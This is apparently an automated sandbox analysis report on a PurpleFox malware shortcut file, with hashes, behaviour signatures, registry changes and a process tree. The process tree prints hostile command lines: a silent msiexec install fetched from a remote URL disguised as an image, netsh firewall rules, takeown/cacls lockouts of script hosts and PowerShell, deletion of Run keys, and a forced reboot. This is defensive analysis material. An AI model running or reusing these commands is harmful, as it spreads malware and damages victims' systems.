purplefox | 11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03

Analysis

max time kernel
117s
max time network
123s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
03/10/2023, 13:58

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General

Target

11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03_JC.lnk
Size

1KB
MD5

1370c8b810befea6651d6e60dee0b591
SHA1

7bbd08152f5eb10c199904e646ddd672e138e456
SHA256

11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03
SHA512

d6316cfb95c1205982ac4b0c20986a207132a89f4ab5bfd8eb20ba1e2b8eaf57e45d63dbb3d97100b390786fc911aa197ad9f7fb2f9eef779eb5e62297be606b

Score

10^/10

purplefox discovery evasion rootkit trojan

Malware Config

Signatures

Detect PurpleFox MSI 1 IoCs

Detect PurpleFox MSI.

rootkit

resource	yara_rule
behavioral1/files/0x00070000000120e6-40.dat	purplefox_msi

PurpleFox
PurpleFox is an exploit kit used to distribute other malware families and first seen in 2018.
rootkit trojan purplefox

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3056	msiexec.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Loads dropped DLL 4 IoCs

pid	Process
2492	MsiExec.exe
2492	MsiExec.exe
2492	MsiExec.exe
2492	MsiExec.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1580	takeown.exe
1464	takeown.exe
1848	takeown.exe
2448	takeown.exe
1832	takeown.exe
2604	takeown.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
2632	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI8299.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8663.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8BB1.tmp	msiexec.exe
File created	C:\Windows\dbcode86mk.log	msiexec.exe
File opened for modification	C:\Windows\Installer\f76870d.ipi	msiexec.exe
File created	C:\Windows\.xml	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7DF6.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI84EB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8578.tmp	msiexec.exe
File created	C:\Windows\Installer\f76870d.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2440	sc.exe
2356	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 44 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c046c1b901f6d901	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2632	msiexec.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3056	msiexec.exe
3056	msiexec.exe
2836	powershell.exe

Suspicious use of AdjustPrivilegeToken 60 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2632	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2632	msiexec.exe
Token: SeRestorePrivilege	3056	msiexec.exe
Token: SeTakeOwnershipPrivilege	3056	msiexec.exe
Token: SeSecurityPrivilege	3056	msiexec.exe
Token: SeCreateTokenPrivilege	2632	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2632	msiexec.exe
Token: SeLockMemoryPrivilege	2632	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2632	msiexec.exe
Token: SeMachineAccountPrivilege	2632	msiexec.exe
Token: SeTcbPrivilege	2632	msiexec.exe
Token: SeSecurityPrivilege	2632	msiexec.exe
Token: SeTakeOwnershipPrivilege	2632	msiexec.exe
Token: SeLoadDriverPrivilege	2632	msiexec.exe
Token: SeSystemProfilePrivilege	2632	msiexec.exe
Token: SeSystemtimePrivilege	2632	msiexec.exe
Token: SeProfSingleProcessPrivilege	2632	msiexec.exe
Token: SeIncBasePriorityPrivilege	2632	msiexec.exe
Token: SeCreatePagefilePrivilege	2632	msiexec.exe
Token: SeCreatePermanentPrivilege	2632	msiexec.exe
Token: SeBackupPrivilege	2632	msiexec.exe
Token: SeRestorePrivilege	2632	msiexec.exe
Token: SeShutdownPrivilege	2632	msiexec.exe
Token: SeDebugPrivilege	2632	msiexec.exe
Token: SeAuditPrivilege	2632	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2632	msiexec.exe
Token: SeChangeNotifyPrivilege	2632	msiexec.exe
Token: SeRemoteShutdownPrivilege	2632	msiexec.exe
Token: SeUndockPrivilege	2632	msiexec.exe
Token: SeSyncAgentPrivilege	2632	msiexec.exe
Token: SeEnableDelegationPrivilege	2632	msiexec.exe
Token: SeManageVolumePrivilege	2632	msiexec.exe
Token: SeImpersonatePrivilege	2632	msiexec.exe
Token: SeCreateGlobalPrivilege	2632	msiexec.exe
Token: SeRestorePrivilege	3056	msiexec.exe
Token: SeTakeOwnershipPrivilege	3056	msiexec.exe
Token: SeRestorePrivilege	3056	msiexec.exe
Token: SeTakeOwnershipPrivilege	3056	msiexec.exe
Token: SeRestorePrivilege	3056	msiexec.exe
Token: SeTakeOwnershipPrivilege	3056	msiexec.exe
Token: SeRestorePrivilege	3056	msiexec.exe
Token: SeTakeOwnershipPrivilege	3056	msiexec.exe
Token: SeRestorePrivilege	3056	msiexec.exe
Token: SeTakeOwnershipPrivilege	3056	msiexec.exe
Token: SeRestorePrivilege	3056	msiexec.exe
Token: SeTakeOwnershipPrivilege	3056	msiexec.exe
Token: SeRestorePrivilege	3056	msiexec.exe
Token: SeTakeOwnershipPrivilege	3056	msiexec.exe
Token: SeShutdownPrivilege	1116	powercfg.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeTakeOwnershipPrivilege	2604	takeown.exe
Token: SeTakeOwnershipPrivilege	1580	takeown.exe
Token: SeTakeOwnershipPrivilege	1464	takeown.exe
Token: SeTakeOwnershipPrivilege	1848	takeown.exe
Token: SeTakeOwnershipPrivilege	2448	takeown.exe
Token: SeTakeOwnershipPrivilege	1832	takeown.exe
Token: SeRestorePrivilege	3056	msiexec.exe
Token: SeTakeOwnershipPrivilege	3056	msiexec.exe
Token: SeRestorePrivilege	3056	msiexec.exe
Token: SeTakeOwnershipPrivilege	3056	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2632	2956	cmd.exe	29
PID 2956 wrote to memory of 2632	2956	cmd.exe	29
PID 2956 wrote to memory of 2632	2956	cmd.exe	29
PID 2956 wrote to memory of 2632	2956	cmd.exe	29
PID 2956 wrote to memory of 2632	2956	cmd.exe	29
PID 3056 wrote to memory of 2492	3056	msiexec.exe	31
PID 3056 wrote to memory of 2492	3056	msiexec.exe	31
PID 3056 wrote to memory of 2492	3056	msiexec.exe	31
PID 3056 wrote to memory of 2492	3056	msiexec.exe	31
PID 3056 wrote to memory of 2492	3056	msiexec.exe	31
PID 3056 wrote to memory of 2492	3056	msiexec.exe	31
PID 3056 wrote to memory of 2492	3056	msiexec.exe	31
PID 3056 wrote to memory of 1232	3056	msiexec.exe	33
PID 3056 wrote to memory of 1232	3056	msiexec.exe	33
PID 3056 wrote to memory of 1232	3056	msiexec.exe	33
PID 3056 wrote to memory of 1232	3056	msiexec.exe	33
PID 3056 wrote to memory of 1232	3056	msiexec.exe	33
PID 3056 wrote to memory of 1232	3056	msiexec.exe	33
PID 3056 wrote to memory of 1232	3056	msiexec.exe	33
PID 1232 wrote to memory of 1116	1232	MsiExec.exe	34
PID 1232 wrote to memory of 1116	1232	MsiExec.exe	34
PID 1232 wrote to memory of 1116	1232	MsiExec.exe	34
PID 1232 wrote to memory of 1116	1232	MsiExec.exe	34
PID 1232 wrote to memory of 2836	1232	MsiExec.exe	36
PID 1232 wrote to memory of 2836	1232	MsiExec.exe	36
PID 1232 wrote to memory of 2836	1232	MsiExec.exe	36
PID 1232 wrote to memory of 2836	1232	MsiExec.exe	36
PID 1232 wrote to memory of 2948	1232	MsiExec.exe	38
PID 1232 wrote to memory of 2948	1232	MsiExec.exe	38
PID 1232 wrote to memory of 2948	1232	MsiExec.exe	38
PID 1232 wrote to memory of 2948	1232	MsiExec.exe	38
PID 1232 wrote to memory of 1952	1232	MsiExec.exe	40
PID 1232 wrote to memory of 1952	1232	MsiExec.exe	40
PID 1232 wrote to memory of 1952	1232	MsiExec.exe	40
PID 1232 wrote to memory of 1952	1232	MsiExec.exe	40
PID 1232 wrote to memory of 1772	1232	MsiExec.exe	42
PID 1232 wrote to memory of 1772	1232	MsiExec.exe	42
PID 1232 wrote to memory of 1772	1232	MsiExec.exe	42
PID 1232 wrote to memory of 1772	1232	MsiExec.exe	42
PID 1232 wrote to memory of 2808	1232	MsiExec.exe	44
PID 1232 wrote to memory of 2808	1232	MsiExec.exe	44
PID 1232 wrote to memory of 2808	1232	MsiExec.exe	44
PID 1232 wrote to memory of 2808	1232	MsiExec.exe	44
PID 1232 wrote to memory of 2464	1232	MsiExec.exe	46
PID 1232 wrote to memory of 2464	1232	MsiExec.exe	46
PID 1232 wrote to memory of 2464	1232	MsiExec.exe	46
PID 1232 wrote to memory of 2464	1232	MsiExec.exe	46
PID 1232 wrote to memory of 2416	1232	MsiExec.exe	48
PID 1232 wrote to memory of 2416	1232	MsiExec.exe	48
PID 1232 wrote to memory of 2416	1232	MsiExec.exe	48
PID 1232 wrote to memory of 2416	1232	MsiExec.exe	48
PID 1232 wrote to memory of 2108	1232	MsiExec.exe	50
PID 1232 wrote to memory of 2108	1232	MsiExec.exe	50
PID 1232 wrote to memory of 2108	1232	MsiExec.exe	50
PID 1232 wrote to memory of 2108	1232	MsiExec.exe	50
PID 1232 wrote to memory of 2872	1232	MsiExec.exe	52
PID 1232 wrote to memory of 2872	1232	MsiExec.exe	52
PID 1232 wrote to memory of 2872	1232	MsiExec.exe	52
PID 1232 wrote to memory of 2872	1232	MsiExec.exe	52
PID 1232 wrote to memory of 1132	1232	MsiExec.exe	54
PID 1232 wrote to memory of 1132	1232	MsiExec.exe	54
PID 1232 wrote to memory of 1132	1232	MsiExec.exe	54
PID 1232 wrote to memory of 1132	1232	MsiExec.exe	54
PID 1232 wrote to memory of 2248	1232	MsiExec.exe	56

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03_JC.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i http://black-sun-a335.asyorfplmnv.workers.dev/mnwODBptK6jU/5hwtrLyyHFiv/7b0985c861986ec9e2087ade8273e544009d68e1/SsdxxIp8DqeQ.jpg /q
  2⤵
  - Use of msiexec (install) with remote resource
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of AdjustPrivilegeToken
  PID:2632

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 89A8BBC2D051A55C32C0B2314E56338C
  2⤵
  - Loads dropped DLL
  PID:2492
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 1C1B2CDBF3C476E903F8729FA41571AA M Global\MSI0000
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1232
- - C:\Windows\SysWOW64\powercfg.exe
    "C:\Windows\SysWOW64\powercfg.exe" /S 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 900; Restart-Computer -Force
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2836
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add policy name=qianye
    3⤵
    - Modifies data under HKEY_USERS
    PID:2948
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filterlist name=Filter1
    3⤵
    - Modifies data under HKEY_USERS
    PID:1952
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1772
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2808
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2464
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2416
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2108
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2872
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1132
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2248
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1964
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2352
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1936
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=7777 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2068
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2268
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:544
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:892
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14443 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:1528
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14444 protocol=TCP
    3⤵
    - Modifies data under HKEY_USERS
    PID:2244
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filteraction name=FilteraAtion1 action=block
    3⤵
    - Modifies data under HKEY_USERS
    PID:2444
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1
    3⤵
    - Modifies data under HKEY_USERS
    PID:2720
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static set policy name=qianye assign=y
    3⤵
    - Modifies data under HKEY_USERS
    PID:2676
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\jscript.dll
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2604
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\jscript.dll /E /P everyone:N
    3⤵
    PID:2944
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\jscript.dll
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1580
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\jscript.dll /E /P everyone:N
    3⤵
    PID:372
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\cscript.exe
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1464
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\cscript.exe /E /P everyone:N
    3⤵
    PID:1456
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\cscript.exe
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\cscript.exe /E /P everyone:N
    3⤵
    PID:2952
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2448
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N
    3⤵
    PID:2480
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1832
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N
    3⤵
    PID:1600
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
    3⤵
    PID:2808
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\SysWOW64\reg.exe" delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
    3⤵
    PID:2228
